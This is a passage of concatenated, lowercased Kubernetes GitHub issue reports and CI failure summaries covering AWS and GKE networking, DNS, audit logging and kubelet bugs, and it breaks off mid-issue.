id=coreos\r version=2023.4.0\r version_id=2023.4.0\r build_id=2019-02-26-0032\r pretty_name=\ container linux by coreos 2023.4.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r - kernel  e.g.  uname -a  : linux ip-10-125-98-238.ec2.internal 4.19.23-coreos-r1  1 smp mon feb 25 23:40:01 -00 2019 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r \r

kubernetes version  :  v1.3.5     environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release :      name=coreos id=coreos version=1068.9.0 version_id=1068.9.0 build_id=2016-08-05-0455 pretty_name=\ coreos 1068.9.0  moreos \  ansi_color=\ 1;32\  home_url=\ https://coreos.com/\  bug_report_url=\ https://github.com/coreos/bugs/issues\      -   kernel    e.g.  uname -a  :      linux ip-10-162-19-163 4.6.3-coreos  2 smp fri aug 5 04:51:16 utc 2016 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux     -   install tools  : terraform, proprietary scripts based on  coreos-kubernetes  https://github.com/coreos/coreos-kubernetes     what happened  :  kubelet did not started the controller pod manifests  apiserver, controller manager and scheduler , failing with the following message when called with a single pod manifest:      aug 24 03:37:48 ip-10-162-20-55 hyperkube 4380 : e0824 03:37:48.728734    4380 file.go:53  unable to read config path \ /etc/kubernetes/manifests/kube-proxy.yaml\ : invalid pod:  metadata.name: invalid value: \ kube-proxy-\ : must be a dns subdomain  at most 253 characters, matching regex  a-z0-9   -a-z0-9   a-z0-9  ? \\. a-z0-9   -a-z0-9   a-z0-9  ?   : e.g. \ example.com\        investigating the problem i found out that the aws cloud provider was returning the node name blank, because the vpc this node was on did not have the \ dns hostnames\  parameter enabled.    what you expected to happen  :  kubelet should crash informing that it was unable to figure out an node name. or fallback to the hostname approach, used when no cloud provider is enabled.    how to reproduce it    as minimally and precisely as possible :  setup a vpc with the \ dns hostnames\  parameter turned off. start a kubelet in some subnet.

is this a bug report or feature request?    choose one : bug report\r   kubernetes version    use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.1\ , gitcommit:\ 33cf7b9acbb2cb7c9c72a10d6636321fb180b159\ , gittreestate:\ clean\ , builddate:\ 2016-10-10t18:19:49z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.9\ , gitcommit:\ ee10669e21109f86c21e8f7ceb1187d7910fe120\ , gittreestate:\ clean\ , builddate:\ 2016-10-20t20:37:18z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : local: el capitan, remote: gci\r -   kernel    e.g.  uname -a  : local: darwin ... 15.6.0 darwin kernel version 15.6.0: thu sep  1 15:01:16 pdt 2016; root:xnu-3248.60.11~2/release_x86_64 x86_64\r -   install tools  : gcloud\r -   others  : n/a\r \r   what happened  :\r provisioned 3 clusters each in different regions  us-central1, asia-east1, europe-west1 . each cluster is in 2 zones  w/ gcloud --zone... --additional-zones...  \r \r provisioned federation api server and controller  1.4.4  based on https://github.com/kelseyhightower/kubernetes-cluster-federation\r \r verified clusters were ready.\r \r provisioned federated service & deployed backends into each of the cluster. verified the federated services were created, and all of the regional lb were created, and verified all the lb ips were working w/ direct requests.\r \r dns provider updated dns w/ most of the service/zone cname records. but a records did not complete.\r \r further investigation for the log points to multiple entries in rrdata w/ the same ip due to the multi-zone deployment:\r \r i1029 19:24:24.506359       1 dns.go:240  have recordset < clouddns  \ buttonmasher-frontend.default.hybrid-cloud-rocks.svc.us-central1-b.us-central1.hybrid-cloud-rocks.com.\  type=cname rrdatas= \ buttonmasher-frontend.default.hybrid-cloud-rocks.svc.us-central1.hybrid-cloud-rocks.com.\   ttl=180>. need recordset < clouddns  \ buttonmasher-frontend.default.hybrid-cloud-rocks.svc.us-central1-b.us-central1.hybrid-cloud-rocks.com.\  type=a rrdatas= \ 130.211.203.196\  \ 130.211.203.196\   ttl=180>\r i1029 19:24:24.506520       1 dns.go:248  existing recordset < clouddns  \ buttonmasher-frontend.default.hybrid-cloud-rocks.svc.us-central1-b.us-central1.hybrid-cloud-rocks.com.\  type=cname rrdatas= \ buttonmasher-frontend.default.hybrid-cloud-rocks.svc.us-central1.hybrid-cloud-rocks.com.\   ttl=180> is not equivalent to needed recordset < clouddns  \ buttonmasher-frontend.default.hybrid-cloud-rocks.svc.us-central1-b.us-central1.hybrid-cloud-rocks.com.\  type=a rrdatas= \ 130.211.203.196\  \ 130.211.203.196\   ttl=180>, removing existing and adding needed.\r \r after creating the clusters w/ only one zone, the dns provider worked properly.\r \r   what you expected to happen  :\r cloud dns provider should update the dns record properly w/ multi-zone clusters.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. provision 3 x multi-zone clusters\r 2. provision federation api server and controller\r 3. add clusters in to federation\r 4. deploy federated service and backends\r \r   anything else do we need to know  :\r using gke and cloud dns\r

failure cluster  c3874172e135f03ec355  https://go.k8s.io/triage c3874172e135f03ec355        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:statefulset\\ : exit status 1           failure cluster statistics: 1 tests failed,    2 jobs failed,    119 builds failed. failure stats cover 1 day time range '6 may 2017 19:54 utc' to '7 may 2017 19:54 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-statefulset | 61 |  7 may 2017 19:33 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-statefulset/5538  | | ci-kubernetes-e2e-gce-statefulset | 58 |  7 may 2017 19:29 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-statefulset/5729  |   current status  https://go.k8s.io/triage c3874172e135f03ec355

is this a bug report or feature request?    choose one :\r enhancement/cleanup\r   kubernetes version    use  kubectl version  :\r master branch\r \r   description  :\r in golang, it will print a readable message of object by  string   ; but in  quantity , it uses the pointer for  string     for caching string  which makes us has to call  quantity.string    explicitly.\r \r i opened this issue to find a way to be  func  q quantity  string   string  , following golang's practice.\r \r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/api/resource/quantity.go l608\r \r \r 

the  current audit logging e2e  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/audit.go  is pretty limited. it makes a small number of calls, and verifies a small number of fields by parsing out the legacy format log file.\r \r we should make a few improvements to make this test more thorough:\r \r -  x  switch the test log format to json, so that all audit event data is included  use the structured object in the test \r -     increase the range of calls we're verifying. i don't know if we need to cover every method in kubernetes  ~250 , but we should cover a broad range of resources, subresources, and verbs.\r -     verify more audit event fields. minimally we should check for presence, and expand from there  consider using the  gomega gstruct  https://github.com/onsi/gomega/tree/master/gstruct  library \r \r improving the test should be a requirement for  advanced auditing beta  https://github.com/kubernetes/kubernetes/issues/48561 .\r \r /cc @ericchiang @ihmccreery @sttts

this pr https://github.com/kubernetes/kubernetes/pull/50404 introduced http cache into discovery client, only cache swagger file, and refetch depend on  if-none-match  or sth else,  if i understand correctly, but from my observation, the behavior is unclear:\r \r 1. when i execute command like:\r  kubectl create -f ~/xxx.yaml   it will cache the openapi resource every time, seems even when i remove  http-cahce  folder and invoke this command again immediately, it will cache the binary file again. but some other command won't like this.\r \r 2. when i execute command like:\r  kubectl get ...    most of the time it won't cache the binary file from server, but sometimes it works, maybe 10min ttl ?  not sure yet \r \r 3. when i execute command like:\r  kubectl version   it won't cache swagger file, instead of the response of get\r    \r shiywang:.kube root $ cat http-cache/11ca6725dc674b71725152bc42cddfbf\r http/2.0 200 ok\r content-length: 288\r content-type: application/json\r date: thu, 07 sep 2017 13:22:23 gmt\r \r {\r   \ major\ : \ 1\ ,\r   \ minor\ : \ 9+\ ,\r   \ gitversion\ : \ v1.9.0-alpha.0.243+156c4b443b005e\ ,\r    \r i'm a little confused about the behavior above, also if we execute  kubectl create -f ...  with loglevel=10, it will print kind of  spew.dump    format output of binary data of swagger file, the output log is too long sometimes just take 5mins to print the whole result.\r \r @apelisse @pwittrock  @liggitt  @mengqiy  @kubernetes/sig-cli-maintainers \r

i'm seeing this in all the gke tests i use to check new os images against, e.g. https://k8s-testgrid.appspot.com/google-gke gci-gke-1.5\r \r not sure where to point this bug; so starting off with the patch manager, who must be sad that they've lost all the gke test signal ...\r \r  /assign @mwielgus \r /cc @saad-ali @krzyzacy

failure cluster  516d0ba8ce8d713af7ea  https://go.k8s.io/triage 516d0ba8ce8d713af7ea        error text:     error during kubectl get nodes --no-headers: exit status 1           failure cluster statistics: 1 tests failed,    4 jobs failed,    63 builds failed. failure stats cover 1 day time range '30 sep 2017 21:33 utc' to '1 oct 2017 21:33 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | isup | 4 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-staging-parallel | 33 |  1 oct 2017 21:08 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-staging-parallel/18954  | | ci-kubernetes-e2e-gci-gke-staging-parallel | 27 |  1 oct 2017 20:06 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-staging-parallel/18822  | | ci-kubernetes-e2e-gke-staging | 2 |  1 oct 2017 00:34 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-staging/4207  |   current status  https://go.k8s.io/triage 516d0ba8ce8d713af7ea

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r an error is returned when creating an nlb service on a 1.9 cluster with m3 instance types.  among others \r \r    \r ingress-nginx   2017-11-30 22:13:33 -0300 -03   2017-11-30 22:13:33 -0300 -03   1         ingress-nginx.14fc06957b23cd0c   service             warning   creatingloadbalancerfailed   service-controller   error creating load balancer  will retry : failed to ensure load balancer for service ingress-nginx/ingress-nginx: error registering targets for load balancer: \ invalidtarget: targets {i-005b2e0924616f909} are not supported\ \\tstatus code: 400, request id: d9c4db56-d634-11e7-858b-f9c79dc2380d\ \r    \r \r   what you expected to happen  :\r \r the nlb should omit the m3 instance as a target\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r launch a 1.9 cluster in aws with an m3 instance class. create an nlb service.\r \r   anything else we need to know?  :\r \r  aws documents  http://docs.aws.amazon.com/elasticloadbalancing/latest/network/target-group-register-targets.html register-deregister-targets  which instance types are not available for nlb. \r \r kubernetes should not add the specified instance types to the nlb target groups when registering instances by instanceid  currently the only way kubernetes registers instances for nlb \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9 beta\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : any\r - kernel  e.g.  uname -a  : any

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r as a kubernetes community member, it is difficult to attain a good signal-to-noise ratio with regards to github notifications and mailing list messages. \r \r   what you expected to happen  :\r i'd like to get some guidance on how to be an effective communicator in the kubernetes community. in other words, not be deluged by all the e-mail. specifically, what to do with github and gmail to surface the pertinent content and purge the less personally meaningful content.\r \r   how to reproduce it  as minimally and precisely as possible   :\r join as a member, help out with more than one sig.\r \r   anything else we need to know?  :\r n/a\r \r   environment  :\r - kubernetes version  use  kubectl version  : n/a\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others:\r \r cc @castrojo @bgrant0607 @idvoretskyi \r 

starting sometime around yesterday night, we're observing a significant increase in apiserver memory and cpu usage. there was a sharp increase across runs 11168 and 11169 of our  100-node performance test  https://k8s-testgrid.appspot.com/sig-scalability-gce gce :\r \r  from:  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/11168/artifacts/resourceusagesummary_density_2018-02-26t17:34:31z.json \r \r    \r {\r       \ name\ : \ kube-apiserver-e2e-big-master/kube-apiserver\ ,\r       \ cpu\ : 0.909674846,\r       \ mem\ : 830136320\r },\r    \r \r  to:  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/11169/artifacts/resourceusagesummary_density_2018-02-26t18:53:04z.json \r \r    \r {\r       \ name\ : \ kube-apiserver-e2e-big-master/kube-apiserver\ ,\r       \ cpu\ : 1.447254278,\r       \ mem\ : 2031329280\r },\r    \r \r from the  diff  https://github.com/kubernetes/kubernetes/compare/c19f8fcea...456ebf5de , i'm almost sure it's https://github.com/kubernetes/kubernetes/pull/60076 which is introducing buffering to audit-logging. i'll try to confirm this.\r \r /assign\r /cc @kubernetes/sig-scalability-bugs @wojtek-t

is this a bug report or feature request?  :\r  \r   what happened  :\r i have setup a regional cluster across 3 zones in us-west1, say the zones are a, b, c. i have a statefulset deployed across these zones. as background, i am trying to setup yugabyte db - a transactional, high-performance db which can run on multiple clouds/regions/zones in gke using statefulsets. yugabyte db can run across clouds/regions/zones by configuring each of the slaves  called tablet-servers  with the fault domain they are running in, this is passed in as a part of the startup command.\r \r i want to pass the region/zone info to the pod on startup as a part of the command  other options that are easy to make work are a gflag file or an env variable .\r \r   what you expected to happen  :\r how can i discover the region/zone from inside the pod?\r \r so far the ways i have come up with need the end user to \ know\  the values for the various regions/zones ahead of time or to use helm charts to make these variables, and externally bring up a subset of pods in each region/zone. but this is pretty complicated for the end-user experience as well.\r \r   how to reproduce it  as minimally and precisely as possible   :\r   create a regional cluster in gke\r   deploy yugabyte db across this cluster using:\r    \r kubectl apply -f https://raw.githubusercontent.com/yugabyte/yugabyte-db/master/cloud/kubernetes/yugabyte-statefulset-local-ssd-gke.yaml\r    \r   the node labels have the topology info in properties such as  failure-domain.beta.kubernetes.io/region=xxx  and  failure-domain.beta.kubernetes.io/zone=yyy \r \r there is no easy way to query this from within the pod. the downward api does not seem to expose this.\r \r   anything else we need to know?  :\r \r   environment  \r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.7-gke.1\ , gitcommit:\ 192ccad06d24af9828cbf42330e1d915cb586406\ , gittreestate:\ clean\ , builddate:\ 2018-01-31t21:39:04z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r running on gke.\r \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux gke-karthik 4.13.0-1011-gcp  15-ubuntu smp mon feb 12 16:29:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r i've upgraded my kubernetes cluster from 1.10.0 to 1.11.2 after that my nodes can't communicate with each others. i have 1 master 3 nodes bare metal and i am using weave-net for network plugin.\r \r for example i have a service named redis;\r \r  logging         redis                nodeport    10.96.227.182    <none>        6379:30329/tcp \r \r it is working on node b;\r \r  logging         pod/redis-55656c7dc9-x7954           1/1       running             1          10h       172.17.0.11 \r \r i can reach redis service with;\r \r  curl 10.96.227.182:6379 \r \r or\r \r  curl 172.17.0.11:6379 \r \r but i can't reach this service from master or other 2 nodes with service or pod ip addresses.\r \r   what you expected to happen  :\r \r i have to communicate service across the nodes.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \ v1.11.1\r - cloud provider or hardware configuration: 2 bare metal 2 vps\r - os  e.g. from /etc/os-release : centos-release-7-5.1804.1.el7.centos.x86_64\r - kernel  e.g.  uname -a  : linux 3.10.0-862.9.1.el7.x86_64  1 smp mon jul 16 16:29:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: kubeadm\r - others:\r  

ref https://github.com/kubernetes/kubernetes/pull/67359 issuecomment-415463989\r \r /sign auth

<!-- please only use this template for submitting enhancement requests -->\r \r when deploying kubernetes in aws cloud provider it is assumed the aws cloud is not disconnected  1 . in case the assumption is violated, the deployment fails as the default configuration sets the default endpoint dns suffix to  amazonaws.com   2 .\r \r   what would you like to be added  :\r \r extend the aws cloud provider initialization with configurable aws dns suffix endpoint. currently, the code creates a session  by invoking  session.newsession &aws.config{}  , see  3   that could be extended into:\r \r    go\r sess, err := session.newsession &aws.config{\r \tendpointresolver: endpoints.resolverfunc mycustomresolver ,\r } \r    \r \r as described in  4 . there are other places where the change needs to be applied:\r - for  loadbalancing : https://github.com/kubernetes/kubernetes/blob/f2c9eb860fd89acab5d587122ff77d8bf013b9b7/pkg/cloudprovider/providers/aws/aws.go l673\r - for  autoscaling : https://github.com/kubernetes/kubernetes/blob/f2c9eb860fd89acab5d587122ff77d8bf013b9b7/pkg/cloudprovider/providers/aws/aws.go l708\r - others\r \r   why is this needed  :\r \r so the kubernetes can be deployed in air-gapped aws regions.\r \r   links  \r \r  1  https://digitalageexperts.com/how-are-aws-private-air-gapped-regions-different/\r  2  https://github.com/aws/aws-sdk-go/blob/475409399d0f8a680b6c68fcd49be984e36d5d66/aws/endpoints/defaults.go l212\r  3  https://github.com/kubernetes/kubernetes/blob/f2c9eb860fd89acab5d587122ff77d8bf013b9b7/pkg/cloudprovider/providers/aws/aws.go l959\r  4  https://docs.aws.amazon.com/sdk-for-go/api/aws/endpoints/\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r    master-upgrade gce-new-master-upgrade-cluster  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster \r \r   which test s  are failing  :\r     sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow  \r \r  ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2819  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2819 \r \r   since when has it been failing  :\r failing since 2/28. \r the   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow   failure seems to coincide with  k/k/ diff c27b913fd...9e71ab4d5  https://github.com/kubernetes/kubernetes/compare/c27b913fd...9e71ab4d5 .\r \r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster\r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/subpath.go:313\r expected grep stdout to be empty  i.e. no mount found .\r expected\r     <string>: /dev/sdb on /var/lib/kubelet/pods/eab0cedd-3c1e-11e9-baa6-42010a8a0006/volumes/kubernetes.io~csi/pvc-e5b35cc3-3c1e-11e9-baa6-42010a8a0006/mount type ext4  rw,relatime,data=ordered \r     /dev/sdb on /var/lib/kubelet/pods/eab0cedd-3c1e-11e9-baa6-42010a8a0006/volumes/kubernetes.io~csi/pvc-e5b35cc3-3c1e-11e9-baa6-42010a8a0006/mount type ext4  rw,relatime,data=ordered \r     /dev/sdb on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/eab0cedd-3c1e-11e9-baa6-42010a8a0006/volumes/kubernetes.io~csi/pvc-e5b35cc3-3c1e-11e9-baa6-42010a8a0006/mount type ext4  rw,relatime,data=ordered \r     /dev/sdb on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/eab0cedd-3c1e-11e9-baa6-42010a8a0006/volumes/kubernetes.io~csi/pvc-e5b35cc3-3c1e-11e9-baa6-42010a8a0006/mount type ext4  rw,relatime,data=ordered \r     \r to be empty\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/utils/utils.go:255\r    \r \r  / /milestone v1.14\r 

simple repo:  try to create this invalid service,  badsvc.json :      {   \ kind\ : \ service\ ,   \ apiversion\ : \ v1\ ,   \ metadata\ : {     \ name\ : \ test\ ,     \ labels\ : {       \ app\ : \ test\      }   },   \ spec\ : {     \ ports\ :         {         \ port\ : 80,         \ targetport\ : \ http\        }      ,     \ type\ : \ loadbalancer\ ,     \ loadbalancerip\ : \ 8.8.8.8\    } }          kubectl create -f /tmp/badsvc.json kubectl get events --all-namespaces -w   wait for errors kubectl delete svc/test kubectl get events --all-namespaces -w   <-- there are still errors

it would be great to be able to configure iam permissions on a per-pod basis.   we would then have a \ mock\  metadata service on 169.254.169.254, which would inject the correct iam roles into the pod  or no roles at all .  i believe this can be implemented using the aws security token service: http://docs.aws.amazon.com/iam/latest/userguide/id_credentials_temp.html

kubelet version: 1.2.4  steps to reproduce: - start kubelet with some labels using the  --node-labels  flag - wait for the node to register itself with the master - restart kubelet with a different set of labels  expected result:  kubectl get no --show-labels  shows the node with the updated labels  actual result:  kubectl get no --show-labels  shows the node with the original labels

previous discussion in  1004 and  3900.  we should never serialize the internal representation. removing the json tags would make this clearer.  /cc @thockin

follow-up of https://github.com/kubernetes/kubernetes/issues/50026\r \r currently, audit backend is shut down before http handlers stop processing requests, so some audit events can be dropped in case of batching webhook. as a solution, during a shutdown, apiserver should close and wait until all requests are finished before shutting down the audit logging. note, that just not accepting new requests is not enough, since audit events can be generated on every stage of the requests.\r \r /cc @sttts @soltysh @kubernetes/sig-api-machinery-bugs

hi,\r \r i request anyone help to fix the above said issue, i have deployed my nodejs applications on kubernetes cluster running on vagrant virtualbox with 1 master and 3 nodes  successfully but with mongodb server via public domain name instead using local lan ip address cidr 10.0.2.0/24.\r \r my diagnostics i able to ping/connect mongodb server 10.0.2.34 from master and node vms with public network  10.0.2.0/24  on virtual box, but not from pods.\r \r i have tried with calico and flannel kubernetes dns crashes.\r \r i found that this can be fixed with this steps\r \r 1. flannel cni enabled\r 2. kube-proxy set to --masquerade-all\r 3. run a pod on the flannel network and try to reach an external ip.\r \r am new to kubernetes and pod networking, i request anyone here help me on how to do above steps please\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r   \r \r   what happened  :\r \r kubectl get nodes \r name            status    age       version\r dsdocker01      ready     17h       v1.7.6\r dsdocker02      ready     43d       v1.7.6\r dsdocker03      ready     43d       v1.7.6\r dsdocker04      ready     19d       v1.7.6\r \r custom sysctl:\r    \r kernel.printk_ratelimit = 10\r kernel.printk_ratelimit_burst = 20\r net.bridge.bridge-nf-call-iptables = 1\r net.core.message_burst = 10\r net.core.message_cost = 20\r net.core.netdev_max_backlog = 50000\r net.core.optmem_max = 40960\r net.core.rmem_default = 16777216\r net.core.rmem_max = 16777216\r net.core.somaxconn = 20000\r net.core.wmem_default = 16777216\r net.core.wmem_max = 16777216\r net.ipv4.tcp_fin_timeout = 10\r net.ipv4.tcp_max_orphans = 30260\r net.ipv4.tcp_max_syn_backlog = 30000\r net.ipv4.tcp_max_tw_buckets = 2000000\r net.ipv4.tcp_rmem = 4096 87380 16777216\r net.ipv4.tcp_syncookies = 1\r net.ipv4.tcp_tw_recycle = 1\r net.ipv4.tcp_tw_reuse = 1\r net.ipv4.tcp_wmem = 4096 65536 16777216\r net.ipv6.conf.all.disable_ipv6 = 1\r net.ipv6.conf.default.disable_ipv6 = 1\r    \r \r \r i've the test pod with service\r    \r ---\r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: nginx-controller\r spec:\r   replicas: 1\r   selector:\r     name: nginx-dev\r   template:\r     metadata:\r       labels:\r         name: nginx-dev\r     spec:\r       nodeselector:\r         stage: development\r       containers:\r         - name: nginx-dev\r           image: nginx\r           ports:\r             - containerport: 80\r             - containerport: 443\r           livenessprobe:\r             initialdelayseconds: 60\r             timeoutseconds: 5\r             periodseconds: 30\r             httpget:\r               scheme: http\r               path: /\r               port: 80\r ---\r apiversion: v1\r kind: service\r metadata:\r   name: nginx-dev\r spec:\r   ports:\r     - name: http\r       port: 80\r       protocol: tcp\r     - name: https\r       port: 443\r       targetport: 443\r       protocol: tcp\r   selector:\r   type: nodeport\r    \r after launch, the pod started on dsdocker01 node and  i can connect to corresponding port number by any host from my local network\r    \r   telnet dsdocker01 32393\r trying 10.183.217.17...\r connected to dsdocker01.\r escape character is '^ '.\r ^ \r \r    telnet dsdocker02 32393\r trying 10.183.217.31...\r connected to dsdocker02.\r escape character is '^ '.\r ^ \r \r    \r after initialdelayseconds livenessprobe has been started and i can not connect from local network to corresponding port of node where pod is working. but i still can connect to this port on other kubernetes nodes:\r \r    \r   telnet dsdocker01 32393\r trying 10.183.217.17...\r telnet: connect to address 10.183.217.17: connection timed out\r \r   telnet dsdocker02 32393\r trying 10.183.217.31...\r connected to dsdocker02.\r escape character is '^ '.\r ^ \r    \r tcpdump output from container:\r    \r root@nginx-controller-16v6j:/  tcpdump -nnn -vv -i eth0\r 13:48:18.007075 ip  tos 0x0, ttl 63, id 19177, offset 0, flags  df , proto tcp  6 , length 60 \r     172.30.65.1.48706 > 172.30.65.41.80: flags  s , cksum 0xbd1b  correct , seq 865411857, win 27200, options  mss 1360,sackok,ts val 3345967608 ecr 0,nop,wscale 7 , length 0\r 13:48:19.008246 ip  tos 0x0, ttl 63, id 19178, offset 0, flags  df , proto tcp  6 , length 60 \r     172.30.65.1.48706 > 172.30.65.41.80: flags  s , cksum 0xb931  correct , seq 865411857, win 27200, options  mss 1360,sackok,ts val 3345968610 ecr 0,nop,wscale 7 , length 0\r    \r it seems that container just do not answer on this packets\r \r also i can reach this port locally from a corresponding kubernters node:\r    \r  root@dsdocker01 ~   telnet dsdocker01 32393\r trying 127.0.1.1...\r connected to dsdocker01.\r escape character is '^ '.\r ^ \r    \r \r   what you expected to happen  :\r no idea for now\r \r   how to reproduce it  as minimally and precisely as possible   :\r create 1 master and 2minions\r launch pod with livenessprobe and nodeport service \r tyr to acces nodeport on minion  where pod is running  from local net after livenessprobe is started\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-18t12:25:36z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: vmware v cloud\r - os  e.g. from /etc/os-release :centos linux release 7.4.1708  core  \r - kernel  e.g.  uname -a  : 3.10.0-693.5.2.el7.x86_64  1 smp fri oct 20 20:32:50 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: by hand ansible \r - others:\r

what happened  :\r flannel subnet:\r  root@192-168-0-53-kube02 ~   cat /run/flannel/subnet.env \r flannel_network=10.16.0.0/16\r flannel_subnet=10.16.25.1/24\r flannel_mtu=1450\r flannel_ipmasq=false\r \r pod ip:\r  root@192-168-0-52-kube01 ~   kubectl get pods -o wide\r name                          ready     status    restarts   age       ip           node\r dep-nginx-1-97759488f-d6wxt   1/1       running   0          22m       10.16.25.5   192-168-0-53-kube02\r dep-nginx-1-97759488f-tzkwj   1/1       running   0          22m       10.16.25.4   192-168-0-53-kube02\r \r but kubectl describe node:\r  root@192-168-0-52-kube01 ~   kubectl describe node 192-168-0-53-kube02\r name:               192-168-0-53-kube02\r roles:              <none>\r labels:             beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/os=linux\r                     kubernetes.io/hostname=192-168-0-53-kube02\r annotations:        node.alpha.kubernetes.io/ttl=0\r                     volumes.kubernetes.io/controller-managed-attach-detach=true\r taints:             <none>\r creationtimestamp:  sat, 24 feb 2018 15:56:18 +0800\r conditions:\r   type             status  lastheartbeattime                 lasttransitiontime                reason                       message\r   ----             ------  -----------------                 ------------------                ------                       -------\r   outofdisk        false   wed, 28 feb 2018 17:27:31 +0800   sat, 24 feb 2018 15:56:18 +0800   kubelethassufficientdisk     kubelet has sufficient disk space available\r   memorypressure   false   wed, 28 feb 2018 17:27:31 +0800   sat, 24 feb 2018 17:03:31 +0800   kubelethassufficientmemory   kubelet has sufficient memory available\r   diskpressure     false   wed, 